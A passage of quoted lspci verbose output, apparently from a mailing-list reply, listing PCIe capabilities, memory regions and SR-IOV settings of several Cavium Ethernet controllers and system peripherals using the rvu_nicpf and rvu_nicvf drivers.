> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:01:01.1 Ethernet controller: Cavium, Inc. Device a0f7 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 840212000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc300000 (32-bit, non-prefetchable) [size=256K]
> Capabilities: [70] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] MSI-X: Enable+ Count=202 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [100 v1] Vendor Specific Information: ID=00a2 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: rvu_nicvf
>
> 0002:02:00.0 Ethernet controller: Cavium, Inc. Device a063 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 841200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc340000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable+ Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0005]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 3, Total VFs: 3, Number of VFs: 3, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a064
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
> Kernel driver in use: rvu_nicpf
>
> 0002:03:00.0 Ethernet controller: Cavium, Inc. Device a063 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 842200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc480000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable+ Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0005]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 3, Total VFs: 3, Number of VFs: 3, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a064
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
> Kernel driver in use: rvu_nicpf
>
> 0002:04:00.0 Ethernet controller: Cavium, Inc. Device a063 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 843200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc5c0000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable+ Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0005]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 3, Total VFs: 3, Number of VFs: 3, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a064
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
> Kernel driver in use: rvu_nicpf
>
> 0002:05:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 844200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc700000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:06:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 845200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc780000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:07:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 846200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc800000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:08:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 847200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc880000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
